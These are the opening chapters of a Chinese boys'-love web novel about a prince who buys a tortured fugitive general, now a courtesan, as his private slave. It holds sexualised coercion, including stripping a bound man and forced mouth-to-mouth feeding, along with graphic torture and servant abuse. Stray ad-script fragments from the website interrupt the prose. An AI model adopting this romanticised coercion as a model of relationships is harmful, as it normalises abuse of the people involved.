《先生为奴》 1. 做本王的私奴 顾棉的眼睛看着那一缕缭绕的烟雾就在即将触碰到他的一瞬间散去。 目光缓缓前移,手轻轻拨开那不识时务总在碍事的层层纱帘。 美人衣衫半解,腰间束带松松垮垮,长长的飘带从榻上一路垂至顾棉靴下。 美人卧塌,一手撑头饶有兴味看着面前的“呆雁”,另一手屈指在空气里勾了勾。 “傻站着作甚,公子倒是过来呀——” 那美人一笑,竟似牡丹花开,娇艳欲滴,充斥着魅惑与糜乱的声音引人遐思,要叫人欲/火升腾起来,再不能轻易压下去。 不过片刻,那瞬息万变的情调里又添了点莫名其妙的嗔怪。 “我的爷,还请您高抬贵脚。” 美人泫然欲泣,“弄坏了嬷嬷的衣裳,奴家明儿晨起大抵是要挨打了……” 好生一副楚楚可怜的作派。 顾棉低头,后知后觉发现自己正踩着人家的衣带。 “少卖些乖,老鸨子可舍不得打你这棵摇钱树”,顾棉敛了心神,折扇合起,挑起美人垂下来的青丝,“问青天的头牌,你衍仙儿的名头可响亮得紧。” 这一番话说得漫不经心,好似在谈论什么可以随意打量的物件儿一般。 “一千金买你初夜,你迎都不来迎一下,当真好大的脸”,顾棉把那发丝勾到美人肩头,然后用折扇轻轻拍拍美人的面颊,“不能亵玩的小倌有什么意思?下床,贴着本王的腿跪好。” “周衍,让本王好好看看你的本事,究竟值不值千金一夜——” 耳边不合时宜传来一声轻笑,那窕冶犹如天仙儿般的人裸足下了床。 身上衣物本就不能蔽体,如今这一动作,又滑落大半下来。 腰腹若隐若现,薄纱衬托了那太过完美的曲线,却又更添一分朦胧。 美人香肩,是蚀骨的毒药,勾人上瘾。 很快将视线移开,顾棉慵懒坐在床边,打了个哈欠,“本王等困了,你打算磨蹭到什么时候?” 说着,余光便瞟见美人修长的手骨,而视线更前面一点,白瓷一样的手指捧着青花小茶杯,杯里热气升腾起来,氤氲开满屋茶香。 周衍捧着茶,举手投足没有半分扭捏,他轻轻跪下,神情却无一丝谄媚。 顾棉不接茶,半阖的眸子其实目光从未离开美人身上半分。 ——他卑微地跪在自己脚下,却高傲得仿佛一只不屑世俗束缚的闲云野鹤。 成了精的野鹤随意开口,声音里竟是连女子都望尘莫及的妩媚。 “爷,赏脸尝两口?” 茶水耽搁了太久,已凉了。 顾棉回神,冷笑接过,手腕稍一翻转,将茶倾倒在美人脖颈。 纱料沾了水,便失去了衣物原本的作用,浮露出其半遮半掩的胸脯。 “赏你个赎身的机会”,顾棉倾身,低头贴着美人耳畔,“成为本王豢养的私奴。” 这应当算作一个下马威。 “求之不得”,周衍一点也不恼,笑意盈盈看着顾棉,“三皇子颇得圣恩,未来必承大统。” “容王府,可是个打着灯笼都找不着的好去处。” 顾棉轻皱了眉,那奴胆大包天,擅自起身不说,更是直接跨坐在他腿上。 “谢容王殿下恩典,奴是您的人了——” 顾棉没说话,左手顺着美人细腰探下去,摸了摸那根本没几两肉的光洁大腿。 腿根处有一道疤,似乎是烙铁留下的。 ——周卜易,果真是你。 顾棉忽然就翻了脸色,抬手用力一推,“你好肥的胆子。” 周衍倒在地毯上,似笑了一下,侧卧起来,翘起一只脚,足背弓起,搁在顾棉膝上。 美人美矣,可惜是个要人命的蛇蝎。 “王爷不喜欢这款儿么”,周衍抬袖掩面作泣状,眼尾却带着几分调笑,“不喜欢奴主动,奴可安心躺平了?” 白润的脚趾有意无意刮过顾棉小腿。 神都最负盛名的纨绔——顾棉顾三皇子,竟都有些招架不住这妖精的攻势。 周衍笑,“千金买来的良宵,王爷不打算对奴做点什么过分事吗?” 美人美矣,可惜是个没脸没皮的。 “不想”,顾棉握住那只不老实乱动的脚踝,“你暂时还配不上本王的临幸。” “哦”,周衍意味深长看着顾棉,“赎奴的价可不低,王爷买奴家回去就只当个摆件儿看么?” 并不是,只是他需要挥霍,需要这么一个奴来掩人耳目。 这个奴是谁都行。 在这里见到周卜易,完全是意料之外的收获。 不过要处理他身上的通缉令,却是有些麻烦了。 旁的逃犯都会找个穷乡僻壤躲藏起来,这周卜易倒好,动静一闹分毫不减当年。 问青天是什么地方?能来的起这的不是达官便是显贵。 这是生怕别人抓不到他吗? 顾棉站起来,淡淡看着某些人装模作样“搔首弄姿”。 “给你半柱香,把衣服穿好跟本王下去。” ——明明是条喜欢咬人的毒蛇,装什么人畜无害? “好呢。” ——笑得倒是乖。 顾棉抬脚就走,沉重的马靴声在阁楼上回荡。 周衍只随意拢了拢衣裳,光脚踩着木地板就跟了出去。 顾棉心中烦躁更甚,脱下外袍丢人脑袋上,也不管那连个袜都没有只能踩着冷硬地板的可怜美人跟不跟得上。 怜香惜玉这四个字,跟他顾棉顾容安压根就不沾边。 身后有一阵子没脚步声了。 顾棉回头看去,美人倚着墙,可怜兮兮蜷着脚趾,一副快要哭的模样。 顾棉狠狠皱眉。 ——他可能捡了个大麻烦回去。 楼下隐隐有丝竹入耳,顾棉一言不发折返回去。 美人含笑伸手,圈住顾棉脖颈。 ——倒是自觉。 顾棉轻轻松松将瘦骨嶙峋的周衍抱在怀里,心想这人在诏狱定然吃了不少苦。 心疼是不可能心疼的,就周卜易干的那些事而言,受再多刑也是他活该,顾棉只是嫌弃这骨头硌手罢了。 抱着一点也不舒服。 楼下歌舞升平,觥筹交错,碰杯声和姑娘们唱的小调分外和谐。 顾棉的出现打 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 破了这份宁静,不远处正有一搭没一搭投壶取乐的几个公子不约而同看过来。 “棉哥儿怎么还把人家给惹哭了?”一个公子怪笑道,“这衍仙儿的滋味如何?有没有伺候得咱们三殿下欲/仙/欲/死?” 顾棉垂眸看去,怀里美人将脑袋整个闷在他胸口,身躯还在轻轻颤抖——如果不是离得近那憋不住溢出的偷笑声实在不算小,顾棉可就真信他在哭了。 “容安兄,你可得好好整治整治这小妖精”,酒案上有一人离席,摇摇晃晃走过来,“小骚货清高得紧,别说碰一碰了,前儿本公子抬了一整箱珍珠送给他,他却连脸都不愿露给本公子看看……” 言语间,醉态尽显,这人脚底打着旋儿往顾棉身边贴,伸手偷偷摸了摸美人臀尖。 顾棉并未阻止,只跟着笑笑,“王言,你够了,本王还没玩几次呢。” “他如今可是本王的私奴,本王……” 顾棉露出一个“懂得都懂”的眼神。 一众公子了然,玩笑起哄道,“仙儿,还不使出浑身解数哄你主子,三殿下素来大方,你哄他高兴,他就肯赏你个侧妃玩玩。” 闻言,周衍忽然轻声笑了一下。 这笑声一出,在场众人俱是一个激灵。 “尤物啊!” “这要是在床上,只怕他这么一笑,再勇猛的壮士也要缴械投降!” “棉哥儿,你可有福了!” 顾棉笑而不语,在一众公子们羡慕的神色中扬长而去。 这一上了马车,顾棉笑容瞬间消失。 “滚下来,去对面坐。” “不去,那边没有软垫”,周衍抱得更紧了些,“那椅子冻人。” ——果然是个不小的麻烦。 顾棉试着扒拉了一下,美人反倒一个劲直往他怀里钻。 “周衍”,顾棉气笑了,“是个人你都这么投怀送抱吗?” “那倒也不是”,美人眼眸无辜,“我只勾引能庇护我的人。” 诏狱的手段果真难以想象,曾经那么傲气的一个人,竟被摧折到如此不堪。 还是说,这才是周卜易的本性? 顾棉放空了思绪,期间周衍不吵不闹只是窝在他怀里睡觉。 周衍像是很久没有安睡过了,短短路程里就被魇住了多次,惊醒后就四处张望,然后愣愣的发一会呆,把头埋回去继续睡。 ——他到底在害怕什么? 鬼使神差的,顾棉轻轻拍了拍美人的背脊——同样硌手得不像话,好似除了皮包着骨头便再也没有哪怕一丁点肉。 顾棉拍了两下就不想拍了,这手感还不如拍根树干。 “都说进了诏狱再放出来的人,警惕心会格外高,更别说你还是越狱出来的,按理会谁也不信任才对”,顾棉百无聊赖玩着美人的青丝,“怎么你对本王竟一点不设防?” 不止如此,周卜易给他的感觉就像…… ——专门等着他似的。 “嗯?这个印记……”顾棉无意间拨开周衍颈后的头发,那里有一朵血红的鸢尾花。 看来这个周卜易还隐瞒了其他身份,得寻个合适时机好好查一查他的底细。 2. 把他摸了个遍 府门前洒扫的众人早在看见马头时就跪了一条长街。 顾棉踩着小厮的背,抱人下马车。 那小厮不过十一二左右的年纪,承不得两个人的重量,几乎被压趴在地上。 但他丝毫不敢有怨言,这位最受圣上宠爱的三皇子殿下,可是一言不合就打杀下人的主儿。 顾棉的眼神很淡漠,那是一种对卑贱生命的藐视。 马车停时周衍就醒了,大门在身后关闭,周围的脚步声很多。 他们像饺子皮裹着馅料一样裹挟着顾棉,直到顾棉冷着脸进了书房,才垂手退下。 顾棉怀抱美人坐在书桌前,心思却全然只在笔墨上。 周衍半睁了眼,偷看。 ——《恭听圣事录》。 翻开首页,只用丑陋却认真的字迹反反复复书写着四个大字,“陛下圣明。” 后面每一页的开头也都是这四个字。 顾棉翻得很慢,慢到足以让周衍把每一个字都收入眼底。 ——陛下圣明,奉源十四年八月,神都外有流民因无米可食饥饿难耐聚众闹事。 父皇言丞相曰:何不食肉糜? 儿臣深以为然,既无米,自然可以肉糜代之,可怜丞相枉活一把年纪,竟连如此浅薄之理也不懂。 父皇此番乃是圣人之训,内含至理,我等臣子当恭听谨记,吾皇万岁。 ——陛下圣明,奉源十四年十一月,流民被尽数镇压。 丞相老匹夫妄图为刁民求情,杖三十。 儿臣以为,丞相实乃活该。 此多言饶舌之辈当斩立决,方大快人心。 愿父皇龙体安康,吾皇万岁。 ——陛下圣明,奉源十八年三月边境来犯,南城王幕僚周卜易擅自领兵出征,十九年七月便已兵临他国皇都之下。 父皇连下十八道金牌,至奉源二十年冬周卜易这斯才肯鸣金收兵。 此番行径,可谓是目无天子,亦有拥兵自重之嫌。 儿臣以为,此人反骨,留他不得。 奉源二十一年春,父皇英明,果断将南城王及其旧部下狱,周卜易秋后问斩,此一大隐患除之,实乃我朝歌国幸。吾皇万岁。 ——陛下圣明…… ……吾皇万岁。 这本不算薄的册子一直记录至今日: ——陛下圣明,奉源二十一年夏,西域有大烟进贡。 父皇割城四十八座,才引进如此奇物,儿臣曾往烟馆一观,有百姓拖家带口吸食此物。 此所谓天伦之乐也,倾家荡产尚不足惜,及时行乐才是正经。 儿臣甚喜此物,日食三袋不过瘾。 还望父皇多赏赐些才好,吾皇万岁。 顾棉写完,合上册子,闭眼,轻念,“陛下圣明……” “陛下圣明……” “愿父皇千秋万代,朝歌永盛不衰。” 周衍没忍住笑出声,“三皇子如此忠君,也不算陛下白疼您了,只是这册子却到不了圣前,可惜了。” 顾棉没搭话,他虔诚而恭敬,对着这本《恭听圣事录》垂首,“吾皇万岁——” 不在圣前,如临圣前。 周衍往后靠了靠,心安理得窝在顾棉怀里,“奴总听人家说,三皇子不学无术。” “这《恭听圣事录》写得不错”,美人打了个哈欠,“只文采差了点,不够情真意挚。” 顾棉眸色渐冷,“容不得你放肆,醒了就滚下去。” “周衍,你只是本王的私奴,不要僭越,你存在的唯一意义是取悦本王。” 周衍又打了个哈欠,懒洋洋道,“奴走不动道,王爷不想抱便传人来抬。” 美人挑眉,笑意里带着一点玩味,“容王府不至于连这点人手都没有吧?” 顾棉盯着这不怕死的小私奴看了很久,抬头向窗外喊了一声。 ——他越是荒淫无道,宫里那人才越是能宽心。 “去给本王的爱宠打顶金轿子”,顾棉随意挥挥手,“都给本王仔细照顾着,他若断一根发丝,本王就削一个人的脑袋,他若擦破一块皮,本王生剥了你们所有人。” 说着,顾棉站起来,抱着美人往寝殿走,“衍美人娇贵,脚沾不得地,日后在这府上,无论去哪都由你们抬着。” 王爷都身体力行亲自抱人一路了,日后谁还敢怠慢这宠奴? “阿衍虽然与你们同为奴籍,但你们记住,他是本王一个人的私奴,而你们必须当他是主子。” 万般盛宠加诸一人之身,而那人却是个倌儿。 只怕他的父皇、皇兄听了,高兴得都要合不拢嘴吧。 顾棉动作无比轻柔,好似珍视极了。 只这温柔进了殿就顷刻无影无踪。 顾棉直接松了手,任周衍狼狈摔在榻上,也不管人疼不疼,伸手把人腰带一抽,就开始扒人衣裳。 那双轻易撩拨人心的美眸,那双摄人心魄的眼睛里终于多了一丝慌乱。 ——周卜易,你不是总要胜券在握吗?你不是自以为事态永远不可能脱离你的掌控吗? 那你为何沦为阶下囚? 顾棉把美人不住推搡的手用腰带捆在一起,然后用手把他上上下下摸了个遍。 鞭伤、烙伤还有…… 顾棉指腹摸到一个个尖锐的凸起,诏狱连针刑都对他用了吗? 那些针如今还留在他身体里。 顾棉捉住美人的足,顺着足背往下摸,果不其然——五根趾骨里全部入了针。 他不是不穿靴袜,是再穿不得了。 他本是一代传奇,是战场上只要有他指挥就永远不败的神话。怎么就成这样了呢? 走不得路、睡不安稳、夜以继日受着无穷无尽的折磨。 顾棉忽然记起周衍不肯坐椅子,他似乎想到了什么,把周衍翻了个面,拉下人亵裤,手指顺着脊柱往下一点点摸过去。 他们连尾椎骨都给他入了针么? 顾棉很难想象,这么一个一身傲骨的人,被一群豺狼饿虎围着扒光了衣裳,被吊起来上刑,被粗暴地按在地上一根根埋针是个什么样的场景。 ——是破口大骂?是心如死灰? 那些针已经长在了肉里,融进了骨髓,换而言之,它们取不出来了。 他的身体废了。 ——周卜易,你活该,谁让你冲动行事。 木秀于林,风必摧之。 你既有灭一国的能力 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,父皇怎能不畏惧你? 怎能不摧毁你? “周衍,你该不该给本王一个解释”,顾棉轻轻拍了拍挺翘的美臀,这大概是周衍身上唯一有几两肉的地方罢,“你身上的痕迹,很像是诏狱的手段。” “你出身不干不净,甚至有可能是个重刑犯”,顾棉将手移至美人纤细的颈后,摩挲着那一朵血色鸢尾花,“本王现在给你机会坦白,你究竟什么来历。” 美人趴着,身上衣衫被解了大半,连亵裤都让人扒了去,偏偏没有力气反抗,说不恼那是不可能的。 可再要恼又能怎么样呢? “奴当然是您的人”,美人娇笑着,眸底却一片冰冷,“劳驾王爷去取阮壶,免得贱身脏了您的龙根。” “你可能误会了”,顾棉觉察出这种冰冷,抬手漫不经心顺着美人脑后的毛发,“你还不配……” “瞧不上奴,就别急冲冲剥奴的衣裤”,周衍冷笑一声,“容易叫人传闲话。” 顾棉有一瞬失神。 ——这才是他认识的那个周卜易。 顾棉把美人抱到腿上,避开入针处,给人把衣裳套回去。 周衍体内到处是针,衣带是系不成了,只能任那衣衫松松垮垮了。 周卜易曾经的脾气是很差的,动不动就阴阳怪调。 那时候顾棉还小,南城王顾泽舟是他小皇叔。 顾泽舟生辰的时候,顾棉去他神都的府上赴宴。 印象里,这位小皇叔比他大不了几岁,与神都奢靡的风气不同,顾泽舟十几岁起便要镇守边南关,军饷吃紧,南城王一贯是节俭的。 顾泽舟是个温润到骨子里的人,容安这个字就是顾泽舟给他取的。 顾棉,字容安。 周卜易很早就跟着顾泽舟了,当年他也才十几岁,还没长开,却已出落得如天上谪仙。 顾棉那时候多大呢?好像八九岁吧。 他曾像仰望仙人一样仰望过周卜易。 仰望那个朝歌军队永不败的神。 周卜易却不曾在意他,目光更是从未在他身上停留。 顾棉知道自己不正常,不过神都有龙阳之好的人不在少数,南风馆与青楼一样生意兴隆。 那年顾棉鼓起勇气拉住周卜易的袖子,却被他像打量物品一样的眼神给深深伤到了。 周卜易蹲下来,与他对视,眸子含着一抹讥讽的笑。 周卜易一边拍着他的脸蛋,一边说,“小殿下,喜欢我,你还不够资格。” 当年比他高那么多的人,如今在他面前娇小得可怜。 小可怜,就那么一点点重量,缩起来的时候,可能还没有枕头大。 那个曾经健康的人已经只剩下一把枯骨裹在皮里勉强不那么快散架。 曾经穿盔带甲的人,如今只能披薄纱。 ——他要怎么过冬? 顾棉想,那关他什么事,周卜易那么讨人嫌的家伙,他凭什么要心疼? “本王想要你,你无权拒绝”,顾棉抱人去前厅用膳,“但你现在还不配。” ——晚上还是叫人送进来吧,来回折腾对周衍身体不好。 “等你什么时候有资格了,本王自会临幸于你……” 3. 吃个饭还要本王喂 周卜易口味如何,可能没有人比顾棉更印象深刻了。 不打仗的时候,周卜易生活一向是精细的,鸡汤他只要纯白毛的乌鸡,要先炖得烂熟然后去皮再熬足两个时辰,红枣不许多也不准少,三颗正正好好,浮油要撇了去,细盐要多加半勺。 那年顾棉红着眼睛,低头死死盯着地面上的碎片和狼藉,周卜易刁难他的每一个字都像是刮在他心底,刮出一片血海累积。 周卜易那人恶劣得紧,嫌他还不够狼狈,伸出一根手指头点着他额头,面上是戏谑的笑容,“这汤我就不喝了,心意呢我也不想领。回去吧殿下,我这里不伺候爱哭鼻子的小鬼。” “想拜我为师,你尚且不配。” 飘远的思绪回笼,顾棉坐在太师椅上,他抱着瘦瘦小小的周衍,像抱着一块干瘪的木头。 他小心翼翼吹凉了鸡汤,喂到周衍唇边。 美人轻轻含了一口,随即偏头。 “难喝”,美人轻轻笑起来,“王爷要不还是把做这汤的厨子拖出去砍了吧。” “闭嘴,想吃什么不想吃什么不是你能决定的”,顾棉用玉箸挑起一筷子青菜,“张口。” “又要人家闭嘴又要人家张口,爷要是对奴有意见,大可以直接折腾死……” 顾棉直接用青菜堵了周衍的嘴。 美人虽养眼,可惜长了根非常不听话的舌头。 这案上大部分菜都是周卜易曾经喜欢的,十年多不见,周卜易口味变化有可能这般大吗? 顾棉深深皱起眉头,眼见着周衍吃了没两口就逆呕起来。 是生理上的反胃还是心理出了什么问题? 诏狱的人还对他做过什么? 顾棉用力拍了一下桌子,目光如淬了寒毒的利剑,“你敢吐本王身上,本王打断你的狗腿!” ——他这么一吐,牵扯了身上的针,岂非又一酷刑? 本来吃进去的就比猫食儿还少,再吐出来可怎么好。 顾棉揉着阵痛的太阳穴,自己到底为什么要脑子一热捡个麻烦回来? 这小私奴到底还养不养得肥了? “去吩咐膳房熬碗清粥,不要太浓稠”,顾棉看着小厮远去了,双手环着周衍巴掌宽的细腰,发呆。 他想,他养肥周卜易,只是不想再硌到自己罢了。 周卜易这混蛋以前对他那么过分,他早晚要叫这人哭着给他侍寝。 ——你什么时候能拥有侍寝的资格呢? 他要求也不多,起码屁股和腰上必须有点软肉。 绝不能硌到他,败坏他兴致。 至于周卜易会不会死在他床上,那不是他该考虑的事。 顾棉抱着美人的手很轻,他怕碰到那些针,周衍自己却一点不在意,往后随意一仰,找了个舒服的姿势,就要睡觉。 之前没睡多会儿,他现下还困倦着。 若要到了晚上,他是一定睡不成了。 等粥的时候,忽有竹筒飞入顾棉手中。 顾棉环视一周,面不改色取出卷起的纸条,然后迅速收好竹筒。 他飞快瞟了一眼,随即瞳孔骤缩。 ——王言死了。 哪怕是顾棉经营多年的暗线,也只能查到王言是在问青天喝得伶仃大醉,出来之后就睡在大街上没人管,来往的马车看不见他,就把他给碾死了。 值得一提的是,王言右手正好被卷进车轮里,搅碎的手骨和稀烂的皮肉又被滚动的轮子压得嵌进了地里,王侍郎无法,收尸的时候只得让人连着那块地一起铲走。 那刚好是他摸过周衍的手。 肇事的马车找到了,就弃在郊外,这车是驿站租的,而那犯事的租客想也知道不可能找得到了。 ——好本事。 顾棉猛的握拳,把纸条攥作一团。 ——周卜易! 美人颤抖着睫毛,瘦弱的小脸皱成一团,好像在梦里经历了什么极为可怕的事情,胸口上下起伏,微微张口喘息起来。 顾棉眼眸颜色更深了些,他拇指轻柔抚摸周衍的下唇——他们说得对,周衍是个惯会勾引人的尤物。 周衍醒着的时候,那双活过来的眼睛仿佛会摄人心魄。 周衍睡着的时候就更加诱人了,顾棉忍不住低下头,缓缓靠近。 “你在做什么”,周衍在顾棉即将跟他鼻尖贴鼻尖的一瞬间睁眼,眸中凌厉一闪而过。 仿佛是错觉,怀中美人紧跟着就换成了浪荡的笑容,“王爷不会是想偷亲奴家吧?” “你想多了”,顾棉不由分说掐住周衍两边脸颊,另一手探进他口中,把那躲闪不及的小舌头抓了出来。 “本王只想看看你这条舌头被诏狱的人废了没有。” 顾棉掐着美人的舌头从里到外仔细检查了一遍。 没有用过药的痕迹,那么导致周卜易吃不下东西的原因,只可能是心理上的了。 不……还有一种可能——周卜易的胃也被折磨废了。 “明日宫里的御医会来本王府上例行诊脉,你规矩点,若给本王丢了脸,别怪本王弃掉你。” ——晚上进宫一趟吧。 周卜易的身体到底到了哪一步,还养不养得好,他现在迫切想知道。 脚步声越来越近,顾棉抬头,桌案上被侍女摆了粥。 顾棉盛了一碗,拿着银调羹投喂美人。 美人不领情,不肯认真吃饭,喂他三勺有两勺要顺着下巴尖洒下来,还没喝小半,顾棉裤腿上、衣袖上就全都是粥液了。 “你是漏嘴巴吗?”顾棉狠狠皱了眉头,“不许再吐出来了。” 周衍不听,或者说,他听了也没用,他根本就控制不住。 顾棉也想到了这一层,他拧着眉头想了又想,甚至想到要不要找个漏斗灌进去。 周衍早就有些厌烦了,他好看的眼睛眨了眨,脸上只能看得出笑颜,“算了吧我的爷,奴不想喝了,喝多了腹痛难忍,王爷又该想丢奴出府了。” 这笑里带着一点讽刺,“最好找个清净点的乱葬岗丢,省得死外面了还要让人瞻仰遗容,惹了奴心烦,指不准要起尸作祟。” “王爷也用不着伤心,等奴做了鬼,第一个来找王爷再续前缘好不好。” 顾棉直觉这所谓“再续前缘”不会是什么好词,他忍住了要把人丢到地上的冲动,压着火气道,“闹脾气不喝是吧?” 顾棉端起碗,那碗底都没几粒米,说是粥,可这跟米汤有什么区别。 ——他是不是连水都很难喝进去了? 顾棉仰头饮了一口,然后揪住周衍的头发不让他有机会乱动,直接嘴对嘴渡了过去。 周衍不肯松牙齿,顾棉就下狠劲咬他嘴唇逼他松。 直到把那剩下的半碗都尽数喂完,顾棉才冷着声音道,“你是不是忘了自己只是个卑贱的私奴,你有什么资格对本王说不?” “周衍,你以为本王会惯着你吗?学不会自己乖乖吃饭,本王就顿顿这般喂你!” 周衍没搭话,他将细瘦的手指移到小腹上,只 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是轻轻触碰了一下就很快收回,额上的冷汗已经湿了鬓发。 顾棉本来还想接着训话,看到他这个样子,忽然就很泄气。 顾棉伸出手,又缩回。 他不敢揉,万一里面的内脏是碎的,他这一揉不得要了人的命去? “本王有事进宫,你……”顾棉小心翼翼站起来,抱着人轻手轻脚往寝殿走,“明天太医就来了,再疼也坚持一下吧……” 床榻上早依着顾棉吩咐铺了很多层褥子,顾棉把美人放在上面,那褥子竟然只陷下去一丁点。 怎么就消瘦成这个样子呢?一点重量都没有。 “能盖吗”,顾棉抱着最薄的被子站在床榻边,“不能就算了,本王待会去看看铺子里有没有冰蝉丝……” ——明明说服自己要讨厌周卜易的,怎么一看到他痛苦的样子,心脏就仿佛被人扼住一般。 顾棉把被子丢到地板上,恭桶放在不远处,“你要是想起夜,就踩着这条被子过去。” ——明明把周卜易买回来做私奴是要报复他的,可怎么现在周卜易成了祖宗,他成了伺候祖宗的奴仆? 顾棉想不明白,只是转身离去的时候,觉得心里隐隐很不舒服。 有种名叫“担忧”的情绪挤走了他的理智,填满了他的脑海。 顾棉迎着黄昏进宫去了。 他不能直接去太医院,他要先去他父皇圣前。 顾君颐近日抱恙,卧在龙床上不能动弹,两个宫女正在揉捏他臃肿的肥胖身躯,还有一个宫女手里托着烟枪,时不时往里面填些烟丝。 顾棉跪在榻边,跪在这满屋子云雾里,俯首叩头,“父皇福寿安康,定能早日痊愈。” 灰烟袅袅,烟雾缭绕,合着丝绸一起,抚过顾棉的脸,他强忍着呛咳,伏低身子爬过去,主动将头贴上老皇帝被熏得蜡黄的手心。 ——很恶心,但……要忍耐。 顾棉眼睛里露出恰到好处的慕濡和恭敬。 “老三来了……朕让你侍疾的事考虑的怎么样了?” 顾君颐摸摸顾棉的脸,“朕三个皇儿中,最喜爱的就是你了,你若能留在宫里多陪陪父皇,父皇这病就是不好了,也值了。” 顾棉控制身体轻轻颤抖起来,做出一副为难又怯懦不敢直言的样子。 “怎么了?”顾君颐咬住烟嘴撮了一口,然后将烟雾吐在顾棉脸上。 “在外面玩野了心,不愿意回宫里住了?” 顾棉身体一颤,额头重重磕在地上,“儿臣不敢……” “父皇有疾理当伺候,只是……” 顾棉抿着唇角,拉住老皇帝的手,摇晃着撒娇,“只是舍不得我那新看上的美娇娘……” “哦?”顾君颐笑了,“是哪家的姑娘?说出来,父皇替你下旨赐婚。” 虽在笑,只是并没有多少笑意,老皇帝那双狡黠的眸子仔细打量着顾棉,仿佛想要从什么端倪中将顾棉的本性一探究竟。 顾棉的腿剧烈抖着,头埋得更加深了。 ——不会有一丝破绽,因为他已经在千百次试探中习惯了密不透风。 ——但,即使千百次都完美应付,下一次再见到顾君颐,这多疑的老东西仍旧会试探。 “是……是问青天的小倌……” “你啊”,顾君颐眉目慈祥起来,“切不可纵欲过度了。” “去办你的事吧,朕乏了,有空去你二皇兄那里带话,让他进宫侍疾,朕想他了。” “谢父皇,吾皇万岁——” 4. 他又把人扒光了 顾棉抱着新买的冰蚕丝被子回到府上的时候,天已经完全黑了。 门前灯笼朦胧的白光照着他匆匆的身影。 月亮藏进了云层,天昏地暗。 顾棉无视下人们偷偷摸摸探究的目光,即使在自己府上,他也时刻记得自己是个纨绔,一个皇恩浩荡盛气凌人的王爷不该有敏锐的洞察力。 顾棉像是完全不设防,他急不可耐冲向寝殿,他知道那些下人一定在他背后指指点点。 然后他们之中的一些人会找个合适的时机往宫里递消息。 ——陛下圣明,三皇子殿下还是一如既往昏聩荒淫。 他们越是传得不堪,就越是合顾棉心意。 阶下有花叶堆积,顾棉脚步轻佻,却偏偏昂首挺胸给人一种强装稳重的感觉。 他一脚踢翻天竺新进贡的铃兰盆栽,手指往下点上一点,皱眉道,“这什么花?简直臭不可闻,快快给本王抬出去!” “那些秃驴是成心恶心本王吗?”顾棉怒不可遏,“从今往后本王眼前不允许出现和尚!当值的都给本王注意点,冲撞了本王,本王连你们的脑袋一起拧!” 下人们立刻跪伏,连连道是。 顾棉知道,他们低垂起来的眼眸里一定藏满了不屑。 ——你看啊,这个被惯坏了的三皇子,做起事来想一出是一出,难堪大任、难堪大任。 ——陛下圣明,三皇子一定还沉浸在自己将来一定会登基的美梦里。 顾棉推开殿门,然后把那些耳目那些怀着鬼胎的阴谋都关在了门外。 他眼眸深邃,不用刻意板正身姿,随意走几步,就尽显帝王姿态。 那是一种与生俱来的气宇,与他那种天潢贵胄一比,顾君颐就像个土财主。 顾君颐给他起名棉,不就是希望他像团木棉一样能轻易被拿捏揉搓成想要的模样么。 这府里的人一个都不能信。 除了周卜易…… 周卜易虽然是个极其恶劣的混蛋,但毒蛇没了毒牙,还能奈他何? 他无所畏惧,大步绕过一个个价值不菲的屏风,然后—— 然后他愣住了。 ——他那么大一个美人呢?? ? 褥子掉了几条在地板上,床头空落落的,不见人影。 顾棉心脏忽然刺痛了一下,好像正被人拿着锥子和榔头狠狠敲打。 手里的新被子落了地。 他试图说服自己冷静——窗格的缝不足以让一个成年人钻出去,即使那个人身躯很瘦小。 前门外日夜有人守岗,更有侍女轮班等候传唤。 周卜易的痛苦不似作伪,何况他身上有针,走不远的…… 可他真的走不远吗? 他能从诏狱那样守备森严的地方逃出来,想出入他这破绽百出的王府不是轻而易举? ——周卜易! 顾棉感到很挫败,十年前周卜易不要他,十年后周卜易还是不想要他。 他有那么差劲吗? 周卜易那个混蛋带着一身伤痛……要去哪? 拖着个半残的病躯,能去哪? 他是不是应该写个悬赏令,或者干脆直接通缉“周衍”? 生死不论,提头来见也无不可。 反正周卜易还跟以前一样讨厌,又把他当个玩意儿戏耍。 周卜易这个人,最喜欢欺负他了。 那是奉源十一年的秋日,顾泽舟准备回边南关的日子。 周卜易搬了把躺椅,慵懒地歪在树底下看他数星星。 周卜易手里扇子摇啊晃啊,然后唰一声合上,笑。 “好好儿数,数清楚了我就考虑带你走。” 那双漂亮得不像话的眸中,明晃晃写着戏弄。 顾棉觉得自己就是傻,他就那么直挺挺站在院子里仰着脖子真的去数星星。 怎么越数越多无论如何也数不清了呢? 这是一个不可能完成的任务,可顾棉真的不想放弃,周卜易好不容易松口,过了今夜,他就再也没有机会了。 顾棉攥紧了双手,梗着脖子,再僵硬再酸痛他也不动,他一动,那些该死的星星也开始动,一夜就那么长,他没时间一次次重来。 周卜易呢?周卜易这个混蛋把折扇盖在脸上,睡着了。 顾棉忍不住分神去看,他想着,他就看一眼,不耽误他记数的。 一只枯叶蝶落在周卜易手背上,那只手真的好好看啊…… 他好想碰一碰…… 他是这么想的,也是这么做的,他把手指搭在周卜易腕上很久。 很久很久,直到头顶传来一声轻笑。 “这是放弃了?”周卜易唇角含着讥诮的笑容,“小殿下还是回宫找乳娘吃奶去吧,臣没那条件,奶不了孩子。” 顾棉瞬间红了眼眶,他低着头,感到很委屈。 真的太羞辱人了。 他已经很努力了,为什么周卜易似乎永远都不会看到他的付出? 为什么周卜易的舌头就这么毒,每一次都快要把他说哭。 他要费很多很多的心思才能忍住不哭。 大约是看他红着眼睛抿着唇的样子很好玩吧,周卜易拿扇子敲他头顶,用一种诱哄的语气,“来,哭一个给臣看看。” “怎么不哭呢”,周卜易在捉弄他一事上总是那样兴致勃勃,“殿下哭得可爱,臣一心软,说不好就去请示圣上了。” 周卜易就是个彻头彻尾的混蛋。 顾棉信了他的鬼话,小珍珠唰一下就落不停了。 “好了好了,哭得真丑”,周卜易一脸嫌弃,“殿下在这补一会觉,臣入宫去了。” 顾棉点点头,他确实困得不行了。 这眼睛一闭,再醒来的时候天都黑了。 周卜易早就离开神都了,他去问过宫里的守卫,周卜易压根就没来过。 周卜易耍了他。 周卜易这个混蛋真的太过分了。 那年顾棉失魂落魄站在去往边南关的驿道上,那条长长的土路好像根本看不到头。 再见到周卜易的时候,他一定要狠狠报复回去! 这一再见就是十年后了。 